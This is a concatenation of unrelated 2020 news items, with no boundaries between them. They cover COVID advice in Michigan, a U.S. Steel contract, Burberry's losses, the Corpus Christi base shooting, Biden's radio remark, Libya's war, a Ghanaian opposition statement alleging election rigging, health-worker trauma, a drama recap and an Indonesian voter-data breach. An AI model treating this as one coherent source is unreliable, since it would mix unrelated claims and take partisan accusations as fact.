Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

READ MORE

Complete coverage at mlive.com/coronavirus

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The flu has killed 2,200 Michiganders since 2000. Coronavirus topped that in a month.

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PITTSBURGH, May 18, 2020 (GLOBE NEWSWIRE) -- United States Steel Corporation (NYSE:X) (the "Company" or "U. S. Steel") today announced a four-year agreement to sell substantial volumes of quality iron ore pellets to Ontario, Canada based Algoma Steel Inc. (Algoma). The purchase agreement, which runs from 2021 through 2024, provides incremental volume and a new long-term iron ore customer for U. S. Steels Minnesota mines.



As a top North American iron ore producer, U. S. Steel is pleased to partner with Algoma to ensure they have the substantial supply of iron ore pellets they need to run their business, said U. S. Steel President and Chief Executive Officer David B. Burritt. This new supply agreement further verifies the value of our iron ore operations. We are proud of Algomas confidence in U. S. Steels quality and reliability in satisfying their important long-term needs.

This is the second significant iron ore purchase agreement U. S. Steel has finalized in 2020. The other agreement announced on April 30, 2020 included another partys option to acquire a 25 percent interest in the Companys Minntac iron ore operation for an implied enterprise value of $2.4 billion for the Minntac operation. The contracts advance U. S. Steels commitment to extract incremental value from the companys iron ore assets as part the Companys best of both strategy which was announced October 1, 2019.

Todays announcement is another example of the continued execution of our best of both integrated and mini mill strategy. The asset revitalization investments we made across our critical steel making assets over the past few years are resulting in enhanced safety, quality, delivery and cost performance as we build on the cost and capability benefits of being an integrated producer, said Burritt. As we complete our electric arc furnace in Alabama and ultimately continue with our investments in endless casting and rolling at Mon Valley Works and the upgrades to the hot strip mill at Gary Works, we will have fundamentally repositioned our footprint to be the only best of both steel producer for the multiple stakeholders that count on U. S. Steel. We look forward to continuing to serve current customers while gaining market share in strategic end markets, like we have done today with our newest iron ore customer.



Story continues

United States Steel Corporation, headquartered in Pittsburgh, Pa., is a leading integrated steel producer and Fortune 250 company with major operations in the United States and Central Europe. For more information about U. S. Steel, please visit www.ussteel.com.
STEPANAKERT.  Minister of Foreign Affairs of the Republic of Artsakh (Nagorno-Karabakh) Masis Mayilian on Friday met with Minister of Foreign Affairs of the Republic of Armenia Zohrab Mnatsakanyan, who is on a working visit in Stepanakert, the Artsakh foreign ministry reported.

The sides exchanged views on the priority directions of cooperation in the foreign policy sphere and expressed satisfaction with the implementation of the plan of consultations signed between the two Ministries. They stressed the need to exert continued and coordinated efforts for addressing the foreign policy challenges.

The Foreign Ministers of Artsakh and Armenia touched upon the process of peaceful settlement of the Azerbaijan-Karabakh conflict. Zohrab Mnatsakanyan, in particular, presented the results of the video conference held on May 19 with the participation of the OSCE Minsk Group Co-Chairmen and the Personal Representative of the OSCE Chairperson-in-Office.

The Ministers also exchanged views on the prospects of international cooperation in the fight against the spread of the novel coronavirus, which knows no borders.
Sales at FTSE 100-listed fashion firm Burberry dropped by over a quarter in the three months to the end of March, its latest results show.

Marco Gobbetti, the boss of the luxury clothing retailer, said it would take his business 'time to heal' from the pandemic fallout.

Burberry warned it expects the three months to June to be 'severely impacted', with store closures likely to be at or near peak for most of the quarter.

Dwindling: Sales at FTSE 100-listed Burberry dropped by over a quarter in the three months to the end of March

How will social distancing at Burberry shops work? Speaking to This is Money, a spokesperson for Burberry, said: 'Social distancing protocols will be in place in all stores, including split shifts for store associates and limiting the number of customers in store at all times. 'We will also be offering virtual client appointments for those who would rather not travel to store and in-store pick-up will be available. 'In addition to maintaining a sanitised store environment, customers will also ask to sanitise their hands upon entering the store and card payments will be encouraged. Customer bathrooms and fitting rooms will be closed if stipulated in government guidance.'

The clothing sector has been hit hard by global lockdowns, with shoppers shunning impulsive buys in favour of essentials like food and medicine.

Fresh figures from the Office for National Statistics today revealed that sales of clothes across Britain fell by over 50 per cent last month, while total retail sales fell to the worst rate on record.

Burberry, which is also heavily focused on markets in Asia, has been forced to shut many its stores and today announced it had scrapped its final dividend and will keep the possibility of any future payouts to shareholders under review.

The luxury group's total sales fell by 27 per cent in the three months to March, with the retailer compelled to temporarily close 60 per cent of its shops.

Gobbetti said: 'It will take time to heal but we are encouraged by our strong rebound in some parts of Asia and are well-prepared to navigate through this period.'

He added: 'Now, more than ever, our strategy to secure our position in luxury fashion is key.'

The fashion firm said it saw 'strong momentum', with sales ahead of expectations, before the virus impacted retailers.

It said it had taken a 241million hit as a result of the pandemic, including 68million related to stock.

Pre-tax profits fell from 441million to 169million and revenues for the year to March slipped 3 per cent to 2.6billion.

In a bid to save on costs, Burberry has been renegotiating rents and restricting recruitment, travel and 'other discretionary spending.'

Summing up the impact of Covid-19 on its business around the world, Burberry said: 'In revenue terms, most of our losses in February were in Asian markets.

'At peak, the majority of our stores in Mainland China were closed and those that remained open operated with reduced hours amid very significant declines in footfall.

'Towards the end of the year, trading in Mainland China started to improve with the reopening of all our stores. However, footfall in other parts of Asia, including Hong Kong S.A.R, remained materially weaker throughout.

'EMEIA and the Americas also suffered very significant losses in the last three weeks of the year. By the end of March, in line with government guidelines, all of our stores in these regions were closed with only the digital part of our business open for trading.'

On the staffing front, Burbery said it implemented home working for office-based teams, and reduced work patterns and shift rotations for teams whose roles could not be performed remotely, while putting in place strict protocols for hygiene and social distancing.

The company has opted not to furlough staff via the Government's Job Retention Scheme.

Shares in Burberry are up 2.22 per cent or 30.50p to 1,405.50p today, while a year ago they stood at around the 1,829.50p mark.

Helal Miah, an analyst at The Share Centre, said: 'It has been turbulent year for Burberry mainly due to external factors.

'While it handled the disturbances from the Hong Kong protests well, there was no way of skipping around the Covid-19 outbreak which first hit the Far East, one of its most important markets.

'Despite a dividend cut, investors have now priced this in as now the norm and some encouragement will be taken from the most recent update on trading activity in the Far East where April sales are ahead of the prior year.

'However, Burberry is naturally cautious about the upcoming year; half of its stores are currently closed so 2021 will have got off to a bad start, which is where its digital platform becomes ever more important.'

Retail sales dropped sharply in April

Retail sales across Britain fell to their worst rate on record last month, official figures from the Office for National Statistics reveal.

April's sales figures were the weakest since records began in 2005, and even worse than those seen during the heat of the global financial crisis in 2009.

Up and down the country, swathes of 'non-essential' retailers have been forced to shut their doors during lockdown, prompting thousands to be furloughed or at risk of losing their jobs.

Disastrous: The pandemic has had a hugely negative impact on the retail sector

Clothes: People have been buying far less clothes than they normally do since lockdown

With major outlets like Primark shut, sales of clothes dropped over 50 per cent in April, the ONS said.

The pandemic has already pushed a number of clothing retailers to the brink, with Oasis, Warehouse and Cath Kidson all falling into the hands of administrators.

The only bright spot from the ONS' latest retail figures published today came from online sale, which rose 18 per cent, and sales of alcohol, which grew just over 2 per cent.

Jeremy Thomson-Cook, chief economist at Equals, said: 'Today's UK retail sales figures show the nature of consumer facing businesses through the Covid-19 crisis; you have to be online and food or booze related or your sales have been crippled.'
The suspect killed during what the FBI is calling a terrorism-related attack at a Texas naval air base voiced support for hardline clerics, according to a group that monitors online activity of jihadists.

The attack Thursday at Naval Air Station Corpus Christi wounded a sailor and left the gunman dead. The gunman was identified on Friday by the FBI as 20-year-old Adam Salim Alsahli of Corpus Christi. He had been a business major at a local community college.

The gunman tried to speed through a security gate at Naval Air Station Corpus Christi, opening fire and wounding the sailor, a member of base security, U.S. officials told the AP. But she was able to roll over and hit a switch that raised a barrier, preventing the man from getting onto the base, the officials said.

Other security personnel shot and killed the attacker.

There was an initial concern that the gunman may have had an explosive device, but Navy experts swept the area and the car and found nothing. The officials spoke on condition of anonymity to discuss details about an ongoing investigation. Officials worked late Thursday to process the crime scene and had recovered some type of electronic media.

The FBI is examining social media posts investigators believe were made by the shooter expressing support for extremist groups, including al-Qaida in the Arabian Peninsula, two officials familiar with the investigation said. The officials could not discuss an ongoing investigation publicly and spoke to The Associated Press on condition of anonymity.

U.S. Defence Secretary Mark Esper said Friday on The Today Show that the wounded sailor is doing well. He also said the FBI knows the basics of what happened during the attack but is working through details, including about the suspect.

We hope to know more in the coming days as to what happened, what this person was motivated by, Esper said. But we need to let the facts come out, let the investigators do their job, and well see where this ends up.

Social media accounts matching Alsahlis profile on Twitter, Facebook and WhatsApp featured support for hardline clerics, mostly from Saudi Arabia, and jihadi figures such as Ibrahim al-Rabaysh, who had been a spokesman for the Yemen branch of al-Qaida and who was killed by a U.S. drone strike in 2015, according to Rita Katz, director of the SITE Intelligence Group.

Alsahli had been a student at Del Mar College, a community college in Corpus Christi, according to a statement on Friday from school spokeswoman Melinda Eddleman. He had been a business administration major and had attended classes in the fall 2018, spring 2019 and fall 2019 semesters.

A search of court records in Corpus Christi showed Alsahli had received a traffic ticket in August for failing to yield. The ticket was dismissed in January after Alsahli took a drivers safety course.

FBI Supervisory Senior Resident Agent Leah Greeves said at a news conference Thursday that investigators were working to determine whether a second person of interest was at large but did not elaborate. She also would not discuss a potential motive or specify what led investigators to believe the shooting was related to terrorism.

We have determined that the incident (on Thursday) at the Naval Air Station Corpus Christi is terrorism related, Greeves said. We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving.

Later, federal agents were seen carrying items from inside a house that a Corpus Christi police tactical unit had surrounded and a public records search by local television station KRIS indicated was Alsahlis last known address. A police spokesman would not confirm that the activity was related to the shooting at the Naval station.

The FBIs field office in Houston has taken the lead on the investigation, and neither investigators nor the Navy provided details on the shooter or a possible motive. Attorney General William Barr has also been briefed, a Justice Department spokeswoman said.

The injured sailor was discharged from a hospital where she was treated for minor injuries, according to a statement from the command.

The station, which was locked down for about five hours Thursday, had a similar lockdown last December. In another incident at the base last year, a man pleaded guilty to destruction of U.S. government property and possession of a stolen firearm for ramming his truck into a barricade at the Corpus Christi station.

The shooting also comes months after a Saudi Air Force officer who was training at a Navy base in Pensacola, Florida, killed three U.S. sailors and wounded eight other people in a shooting that American officials described as an act of terrorism. The countrys top federal law enforcement officials said this week that the gunman in Decembers attack, Mohammed Saeed Alshamrani, had been in touch with al-Qaida operatives about planning and tactics in the months before the shooting. Alshamrani was killed by a sheriffs deputy.

According to U.S. officials, unlike Pensacola, there are no international or foreign national students at the Texas base. The military put a number of new safety procedures in place after the Pensacola shooting to restrict and better screen international students.

Lozano reported from Houston. Baldor and Balsamo reported from Washington. Eric Tucker and Colleen Long in Washington contributed to this report.
Joe Biden, the presumptive presidential candidate for the Democratic party in the 2020 election, told a black reporter that African-Americans who don't know if they're on his side or Trump's "ain't black."

The exchange happened on an episode of The Breakfast Club, a radio show featuring celebrity interviews during which the hosts often ask tough or uncomfortable questions of their guests.

At the end of his interview with Mr Biden, the host, Charlamagne tha God, asked the former vice president to visit the show when he was in New York because there were more questions he wanted to ask of the presidential hopeful.

"Listen you've got to come see us when you come to New York, VP Biden," he said. "It's a long way until November. We've got more questions."

Mr Biden responded by suggesting that anyone who was still unsure of whether they'd support him over President Donald Trump "ain't black."

"You've got more questions?" Well I tell you what, if you have a problem figuring out whether you're for me or Trump, then you ain't black," Mr Biden responded.

Charlamagne responds: "It has nothing to do with Trump, I want something for my community."

As Charlamagne attempted to explain his concerns, Mr Biden cut him off and instead decided to run through his record.

"Take a look at my record, man. I extended the Voting Rights Act 25 years. I have a record that is second to none. The NAACP has endorsed me every time I've run. Come on, take a look at my record," Mr Biden said.

The clip immediately began circulating on the internet.

Dr Ibram X Kendi, the director of the Anti-Racist Research and Policy Center at American University, said Charlamange was "on point" by replying to Mr Biden that his concerns have "nothing to do with Trump."

"Apparently, Biden has yet to realise that for nearly all Black voters, Trump is not an option. Biden is not running against Trump. He's running against himself. He's running against his past. He's running against the audacity of a White man to tell Black people who ain't Black," he said.

Keith Boykin, a CNN commentator and former White House aide, said Mr Biden's remarks were out of line.

"Somebody needs to tell Joe Biden that his comment to Charlamagne was a mistake. Yes, Biden is a much better choice for black people than racist Trump. But white people don't get to tell black people what is black," Mr Boykin said. "Biden still has to EARN our vote."

But Mr Biden was not without his defenders. Jason Johnson, a political pundit who frequented MSNBC during the Democratic primaries and once referred to Bernie Sanders' campaign - and the involvement of national co-chair Nina Turner and press secretary Briahana Joy Gray - an "island of misfit black girls," claimed Mr Biden was "triggered" by Charlamagne.

"Just a thought ... How about we listen to the entire @JoeBiden interview with @cthagod before we start roasting him? A white man telling a black man who is and isn't black is inexcusable, but what led to that exchange, and why Biden was triggered, matters as well," he said.

During the interview, Charlamagne pushed Mr Biden on his past, calling into question his support of policies - like the 1994 Crime Bill - that contributed to US mass incarceration and on marijuana legalisation.

When Charlamagne mentioned that former Secretary of State Hillary Clinton came onto his show and apologised for supporting policies that led to mass incarcerations, Mr Biden said she was wrong to do so.

Recommended Joe Biden attacks antisemitism on the left in US and UK

"She was wrong. It wasn't the crime bill, it was the drug legislation, the institution of mandatory minimums, which I opposed," Mr Biden said.

Mr Biden's senior advisor, Symone Sanders, claimed in a tweet that Mr Biden's comments were made "in jest" and attempted to clarify his meaning.

"The comments made at the end of the Breakfast Club interview were in jest, but let's be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trump's any day. Period," she tweeted.
Despite repeated calls by the United Nations in the last two months, the guns have not fallen silent in Libya. On the contrary, warring factions are as determined as ever to score clear victories over their respective adversaries, regardless the cost.

The self-styled Libyan National Army (LNA) under the command of Field Marshal Khalifa Haftar had launched a surprising attack on the Libyan capital on 4 April 2019, with the declared aim of overtaking the city, the seat of the internationally-recognised government of Fayez Al-Sarraj, to free Libya from terrorism. More than a year has passed and his forces are still on the outskirts of Tripoli. The longer his forces cannot achieve their objective, the harder it gets, unless military advantage on the ground is tilted towards the LNA, something that is almost next to impossible given the present balance of power after the intervention of Turkey late last year in the international and regional struggle for Libya.

This intervention rolled back the battle lines of Haftars forces. In the last few months, his forces lost control over some towns and villages west of Tripoli and his main military base, Al-Wateya, is the next strategic target of the forces of the internationally-recognised government, heavily supported by Turkey. If Haftar loses control over his main military base, the chances are that his Battle for Tripoli will be consigned to the past. However, and despite this possible reversal in the fortunes of the LNA, the war will still rage on in Libya, unless the main backers of the Libyan warring parties come to an agreement that it is better for all parties concerned to enforce on the Libyans the main conclusions of the Berlin Summit of 19 January.

On Monday, 11 May, the foreign ministers of Egypt, Greece, Cyprus, the United Arab Emirates and France held a videoconference to discuss the overall security situation in the eastern Mediterranean with particular emphasis on the situation in Libya after the renewed fighting that erupted after the Berlin Summit. Undoubtedly, Turkish military intervention played a determining role in the outbreak of the fighting. The five powers condemned this intervention and called on Turkey to respect the independence and territorial integrity of eastern Mediterranean countries, including Libya. Meanwhile, the five condemned also the recruitment, under the direct control of the Turkish government, of Syrian mercenaries to fight in Libya. According to the latest estimates by the LNA, the number of mercenaries sent to Libya has reached 17,000 fighters. Most of them go for the money, others under pressure from the commanders of the Syrian armed groups battling the Syrian army.

The five pointed out that the presence of those mercenaries poses a direct threat to the stability of neighbouring countries, as well as Europe. And they called for the end of foreign military intervention in Libya, read: Turkey. They reiterated their support for the Berlin Declaration of 19 January and committed themselves to support the resumption of the three-track negotiations between the Tripoli government and the interim government in the eastern part of Libya, in other words Field Marshal Haftar, who has not shown much diplomatic ingenuity after the Berlin Summit. Nor has the government of Al-Sarraj demonstrated enough political will to pursue the diplomatic path offered by the international community in Berlin.

Needless to say, neither the Turkish government, nor the Government of National Accord headed by Al-Sarraj welcomed the five-power meeting via videoconference. The Tripoli government rejected what it called unacceptable interference in Libyan affairs, whereas Ankara, through the Turkish Foreign Ministry, called the meeting an anti-Turkish gathering.

Two days later, on Wednesday, 13 May, Italy headed a videoconference for the follow-up committee that was formed last January in Berlin to carry out the decisions adopted in the Berlin Summit. It was the third meeting for the group that was attended by 18 countries and international and regional organisations, such as the Arab League that is scheduled to organise the next meeting of the group next month.

In Libya, international diplomacy lags behind the fighting, while it mirrors the geopolitics involved in the Libyan quagmire. On the regional level, the battle lines are a sad reflection of regional axes that are battling for hegemony in the Middle East and North Africa. On the international level, the European powers are divided. The same situation goes for NATO which had played a very destabilising role in Libya in 2011, by destroying the Libyan army on the pretext that it was protecting innocent civilians. Strangely enough, with the growing military intervention of Turkey in the Libyan conflict, NATO has kept silent. The other day, the Turkish minister of defence welcomed a statement that he attributed to the secretary-general of NATO in which he said that the government in Tripoli is the party that would bear the responsibility of implementing any peace deal in Libya. The Turkish minister of defence also praised the support given by NATO to the government of Al-Sarraj.

Does this mean that NATO supports the Turkish military intervention in Libya? The question is rhetorical, but the fact remains that NATO does not endorse the entirety of the Berlin Declaration.

The United States and Russia, while both are facing serious challenges from the coronavirus pandemic, are not ready yet to put out the fire in the eastern Mediterranean. As for Arab countries, and particularly those that have joint borders with Libya, they probably agree on the endgame in Libya, but are not of the same mind as to how to translate that into a coherent strategy that could become a lever for a domestic Libyan consensus on the path forward in the context of the Berlin Declaration and UN Security Council resolutions related to the situation in Libya. Unfortunately, Turkey has benefited from present tactical contradictions among international and regional powers to gain a military foothold in Libya, with its attendant destabilising ramifications, especially as far as Egypt is concerned.

Two months back, some official Turkish sources had begun talking about pushing back against the military successes of the LNA in the western part of Libya, and at a later stage advancing towards the east in Libya  that is, getting closer to Egyptian borders with Libya.

Let us hope that wiser heads talk Turkey out of such a foolish strategy. Maybe the five-power meeting of 11 May was meant, in part, as a message of deterrence.

The writer is former assistant foreign minister.

*A version of this article appears in print in the 21 May, 2020 edition of Al-Ahram Weekly

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The opposition National Democratic Congress (NDC) is urging the Electoral Commission (EC) to conduct limited registration exercise instead of the scheduled mass registration exercise.



They argue that the transmission of the coronavirus during limited registration exercise will be lower than compiling a new register.





READ FULL STATEMENT BELOW



KEY HIGHLIGHTS OF THE NATIONAL DEMOCRATIC CONGRESS PRESS STATEMENT ON THE CLANDESTINE PLOY OF THE JEAN MENSA LED ELECTORAL COMMISSION TO RIG THE 2020 GENERAL ELECTIONS FOR THE NEW PATRIOTIC PARTY IN CONCERT WITH THE NATIONAL IDENTIFICATION AUTHORITY.



21ST MAY, 2020



Introduction

 At our press conference of May 14, 2020, you would recall that we exposed the grand criminal collusion between the Electoral Commission, the National Identification Authority and the ruling New Patriotic Party to rig the 2020 General Elections for President Akufo Addo.



Since then, we have noted some supposed, pathetic and irrational responses from the Jean Mensa-led EC and the Attaffuah-led NIA to the issues we raised at that press conference.



Rather than address the legitimate concerns we raised, the two state institutions have resorted to blatant falsehoods to obfuscate simple issues and mislead the nation.



 The purpose of todays press conference is therefore to respond to the several deliberate distortions which have been peddled by the EC and the NIA in their respective statements and help Ghanaians appreciate the seriousness of the concerns we have raised and the dangers that it portends for the country.



 Before proceeding any further, and for the purpose of emphasis, let me re-state the case of the NDC relative to the new CI which has been laid by the EC before the august house of Parliament.



For the avoidance of doubt, the NDCs opposition to the ECs entrenched decision to compile a new voters register for the 2020 general elections remains UNCHANGED. We stand by our position that the current voters register is credible and that the country does not need a new voters register for this years general elections. We are therefore employing all legitimate means to stop the needless, illogical and wasteful new voters register agenda of the Jean Mensah-led EC.



The crux of the issues we raised at our last press conference is that, the registration requirements provided under the proposed Constitutional Instrument which has been laid in Parliament by the EC (Ghanaian passport, with less than 2 million holders who are 18 years and above or the Ghana card, with just about 6.5 million holders who are 18 years and above) to govern the needless, illogical and wasteful new voter registration exercise they intend to undertake, are too narrow and wholly inadequate for purposes of identifying eligible voters (about 18 million) and that this is part of the grand conspiracy between the EC, NIA and the NPP to disenfranchise over 10 million eligible voters, mostly in NDC strongholds.

For purposes of clarity, the key issues are as follows:



First, is the issue of the lack of consultations with political parties (IPAC) on the proposed CI before it was laid in Parliament. The claim by the NPP that the proposed CI was discussed at the 25th March IPAC meeting is a concocted barefaced lie, as the matter was neither on the agenda of the said IPAC meeting nor captured in the records of the said meeting as having been discussed. In any case, the proposed CI was laid in Parliament on 17th March, 2020, EIGHT (8) clear days before the 25th March, 2020 IPAC meeting in question. It is therefore preposterous and an insult to the intelligence of Ghanaians for the General Secretary of the NPP to suggest that the proposed CI was discussed at IPAC eight days after it had been laid in Parliament. This is simply an unintelligent lie.



Second, is the unreasonable and unconstitutional exclusion of the existing voters ID card from the list of registration requirements provided under the proposed CI, contrary to the ECs own position that it will be used for this years voter registration exercise, as captured on slide 27 of their presentation at the 30th January 2020 joint meeting of IPAC, the ECs Eminent Advisory Committee and CSOs. The point has to be made, that the existing voters ID card is the most widely available identification document in Ghana with over 16 million holders and has been upheld by the Supreme Court of Ghana as the best prima facie evidence of voter eligibility in the Abu Ramadan Case. It is the Identification document with the strictest, most rigorous and transparent acquisition procedure, and has been used in the compilation of all voter registers since the inception of the fourth Republic (1996, 2004 & 2012).



Third, is the inclusion of the Ghana card whose issuance is incomplete and has been fraught with several anomalies in the list of registration requirements under the proposed CI. This is contrary to the ECs earlier position that same will not be used for purposes of the years voter registration exercise.



Fourth, is the over-reliance on the secondary identification method of vouching as a norm rather than an exception in breach of international best practice relative to identity management.



Now to the supposed irrational and ridiculous responses from the NIA and EC.

National Identification Authority

Apart from the deliberate distortions contained therein, the NIAs response has confirmed the NDCs positon that since 2017, they have registered only 11 million Ghanaians and issued just about 7 million cards (with just about 6.5 million being 18 years and above).



 The NIA could not dispute our claim, that only 5.17% and 6.36% of the registrable population in the Upper West and Upper East Regions respectively, have been issued Ghana Cards as we speak. And that, relying on same for the voter registration exercise they intend to undertake next month, will compel over 93% of eligible voters in these two regions which are strongholds of the NDC to resort to the secondary identification method of vouching as the norm, rather than an exception.



 The NIA again has confirmed our position that the snail pace Ghana Card registration exercise is largely incomplete and that, they are now waiting for the Covid situation in the country to subside so they can embark on a mop-up and card distribution exercise in some regions.



The big question therefore is, why will the Jean Mensah-led EC rely on an identification card (the Ghana card) whose issuance is largely incomplete and fraught with several anomalies and demographic disparities? Why is the Jean Mensah-led EC excluding from the list of registration requirements under the proposed CI, their own widely available and acceptable voters ID card and rather including the Ghana card which is currently possessed by just about 6.5 million Ghanaians (18 years and above); a card which is currently not accepted by any public, private or commercial institution.



Electoral Commission

 As for the ECs lame response, the least said about it the better. None of the germane issues raised at our last press conference has been addressed by the EC.



 The commonsensical question that is begging for an answer is why the Jean Mensah led EC excluded the existing voters ID card from the list of registration requirement provided under the proposed CI? Why have they excluded an identification card that has been upheld by the Supreme Court as the best prima facie evidence of voter eligibility?



 Why have they excluded a voter identification card which is the most credible and available form of identification in this country from the list of registration requirements? Save this germane issue, all the other claims of the EC are red herrings which have no bearing or relevance on the issue at stake and should be treated with the contempt it deserves.



Conclusion

As a matter of fact, the wishy-washy responses of the EC, NIA and the NPP to the issues we have raised further exposes the criminal conspiracy between these entities to disenfranchise millions of eligible voters and subvert the will of the people. But the people of this country are discerning and vigilant, and will not allow this attempt to undermine the integrity of this years general elections and for that matter our democracy.



We shall employ every legitimate means to resist the attempt to suppress votes and rig the 2020 general elections.





Source: peacefmonline.com









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For weeks, our health care workforce has been on the frontlines of the COVID-19 pandemic staring straight at mortality  their patients and their own. They have been single-mindedly focused on the task at hand, doing what needs to be done while instinctually suppressing their emotional response. The job requires this, and they have done it well.

Yet, the tragic suicide of Dr. Lorna Breen has brought focus in a devastating way to the emotional impact of caring for patients on the frontline of the pandemic. Like Wuhan, Italy, and Spain, NYC was quickly overwhelmed by the sheer volume of critically ill and terminal patients at an alarming rate. The stories describe people dying in their homes and hospitals. The providers rushing to the sides of these people had spent their careers focused on saving lives, but instead, the health care workers are cast in the role of supporting characters in the drama of chance, with the inability to anticipate who will live and who will die and what treatments will help.

We have rightly been focused on the very concrete and essential need for literal personal protective equipment that includes masks, shields, gloves, and gowns to protect the physical wellness of our health care community. Yet, we soon will be faced with another critical epidemic from COVID-19 if we dont act urgently to prepare for and prevent further injury and assault on our health care teams.

Health care workers are acclimated to routines that are filled with standard protocols, calibrated systems, and hierarchies around clinical decision-making. But that world has evaporated. Our physicians, nurses, and staff are managing unchartered territory without a plan. We know that the impact of high-intensity survival experiences accumulates and we cannot avoid the lasting injuries of this relentless work.

Based on the evidence of the effects of trauma, we can predict that our health care teams, patients and families will exhibit signs of this assault through a variety of symptomssleeplessness, apathy, depression, and anxiety. The warning signs are already here. We read the desperate accounts and pleas of frontline workers describing the indescribable, holding the hands of patients dying alone, communicating with stunned and distraught families isolated away from death beds of their loved ones. Dr. Breen is symptomatic of a larger undercurrent of the fatal moral injury of the system currently at work. We need to face it head-on or risk additional losses as tragic as this.

Fortunately, numerous organizations have created and directed the health care world to a host of mental health resources, including free therapy services, helplines, and suicide prevention crisis lines. While these resources are important and welcomed, they miss a critical personal protective equipment lacking in this evolving pandemicPersonally Protected Emotions- another form of PPE. In the medical community, providers are conditioned to consider their own needs and emotions last. Even the act of seeking help can feel like a sign of weakness. The narrative in our heads is always that someone else has it worse, and they are handling it fine. We have learned how to numb emotional responses. But no one in this pandemic is handling it fine. The psychological burdens, particularly for those on the frontline will have a profound and devastating impact for years beyond the pandemic.

There is no reason for those health care providers to move through this trauma alone. This experience is shared. The trauma and moral injury it causes is played out again and again in emergency rooms and intensive care units throughout the country and throughout the world. We need to harness the supportive powers within our health care teams own cohesive community to bond and heal together. It needs to be prioritized as a part of the job, just as important as morning rounds and signout.

We have an obligation to structure in required time and space for frontline providers to share the impact of these emotionally demanding experiences with one another. Fostering the healthy resources that exist with human connection, shared experiences, and attentive listening should be the next wave of Personally Protective Emotions for our workforce. Without this step, our teams will suffer from the impact of witnessing human suffering and moral injury.

How will this look?

1. Mandatory individual sessions check-ins. Much like police officers who are involved in a shooting must undergo a psychological evaluation prior to returning to work. Health care workers who witness brutal and devastating experiences with death should have an assessment to determine readiness to continue or return to work.

2. Daily emotional temperature-taking check-ins during sign out or rounds. These can be brief interactions to gauge a providers emotional state. Teams can hear about challenging patient care scenarios and offers time to acknowledge the emotional toll of patient care.

3. Monthly or biweekly Balint type or moral suffering-resiliency rounds. These sessions would allow time for team members to discuss particularly devastating clinical encounters. This will allow for reflection and cohesion that comes from shared witnessing of suffering.

4. Mandated protocols whereby workers are able to rotate on and off intensive COVID care services at scheduled intervals of time. Stretches of time worked should be cushioned with equal amounts of time off to allow for recovery, both physical and emotional.

The success of any of these measures requires buy-in at the highest levels of leadership. Leaders need to champion these efforts. It needs to be embedded in clinical time, so it does not interfere with precious personal time. Offer your team members an opportunity to be involved in choosing the kind of support that would work for them. Ensure that these opportunities are not voluntary but rather are expected as part of the culture of medicine. No one is escaping the frontlines of this pandemic unscathed, and it is our responsibility to ensure we are attentive to their emotional health rather than risk the fall out down the road.

Trust that meaningful action can come when the PPE  personally protected emotions  of time and space for telling, hearing, and healing becomes a priority for your teams.

Mary R. Talen is a psychologist. Deborah Edberg is a family physician.

Image credit: Shutterstock.com
Ha Ri decided not to focus on looking for a man to marry. She prefers to have a child and live as a single mother.

She seeks her doctor's advice to get a sperm donor to avoid any trouble with the law. Ha Ri joined a forum where people provide sperm donors and help women get pregnant. The natural pregnancy at her age only gives a 15% chance of getting pregnant.

Hi Sang agreed to help and be a friend to Ha Ri. Although they always meet where Ha Ri gets into an accident, looking silly with her actions and getting into trouble.

Jae Young quit his job as a doctor in the hospital. He realized no one can take care of Do Ah. People think he lives a pitiful life because he always wears his jersey and seldom washes. He finds comfort in drinking at night and waking up late. He brings Do Ah to the mall, grocery, or carries her wherever he goes. He plans to open up a clinic at home and watch over Do Ah to ensure her safety.

Eu Ddeum enjoys calling Ha Ri as her older sister, Auntie. He greets her as they meet in the hallway, elevator, or at the office. Ha Ri finds him irritating. Thus, she runs away every time he's around.

Finally, Ha Ri received a letter from a man willing to be a sperm donor. They introduced each other, and Ha Ri asked how it normally works. The man is willing to help Ha Ri until she gets pregnant using a natural method and a payment of 10,000. The man offered to sleep with her every night and touch her hand.

Ha Ri got offended and ended arguing with him. Unexpectedly, the police came to arrest the man for an illegal transaction, which includes Ha Ri.

Jae Young, dressed in his suit, picks up Ha Ri at the police station. He vouches for his profession as a doctor and knows Ha Ri as a good person. The detective agreed and released Ha Ri without any charges.

As they headed outside the station, Jae Young confronts Ha Ri why she chose to get into a complicated situation. Ha Ri admitted that she sought to get a sperm donor to get pregnant and have a baby. She felt sad that at her age, getting married is not possible already. Men are hard to find, and getting to know anyone doesn't end well. Ha Ri felt sad about how things went wrong in her quest to be happy.

The next day, the breaking news shows a woman with a hidden face but the same hair and features of Ha Ri. The lady is getting arrested because of an illegal sperm donor con artist. Her colleague saw the news as well as her mother. By the time she got home, Ok Ran felt sad and scolded Ha Ri for getting into crazy ideas.

Ha Ri cried and felt sadder as her mother saw her struggle with getting married or becoming a mother.
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Linkedin Apriza Pinandita (The Jakarta Post) Jakarta  Sat, May 23, 2020 05:39 607 fc6853813033f564188675f8bd9b838d 1 National data-breach,personal-data,personal-data-protection-bill,KPU,hacker,Tokopedia,Lion-Air Free

Experts have called on the government to conduct a forensic audit into a breach of millions of Indonesian citizens data that was allegedly stolen and shared illegally on a hacker forum, the latest in a series of personal data breaches.

The cybersecurity research collective Under the Breach on Thursday posted about the leak on its Twitter account @underthebreach, saying the hacker appeared to have stolen the data from the General Elections Commissions (KPU) website in 2013. The data set is claimed to be the final voter list (DPT) in the 2014 presidential election.

Data of around 2.3 million people, including sensitive information such as full names, Family Card numbers, citizenship identification numbers (NIK), home addresses and other personal information are listed in a PDF document.

The perpetrator claims he will leak information of 200,000,000 additional citizens soon, Under the Breach wrote on its Twitter account.

Data breach cases are rising as Indonesia has yet to pass its personal data protection bill. Under the Breach has unveiled data leaks that recently afflicted e-commerce giant Tokopedia and airline giant Lion Air Group. The data of at least 91 million Tokopedia customers was illegally exposed, as well as the passport details of 35 million Lion Air Group passengers.

The Institute for Policy Research and Advocacy (ELSAM) has called on the Communications and Information Ministry to carry out an investigation into the data breach and optimize existing regulations to take action against data breaches and protect citizens data.

ELSAM said the government needed to deliberate the personal data protection bill as soon as possible with the House of Representatives.

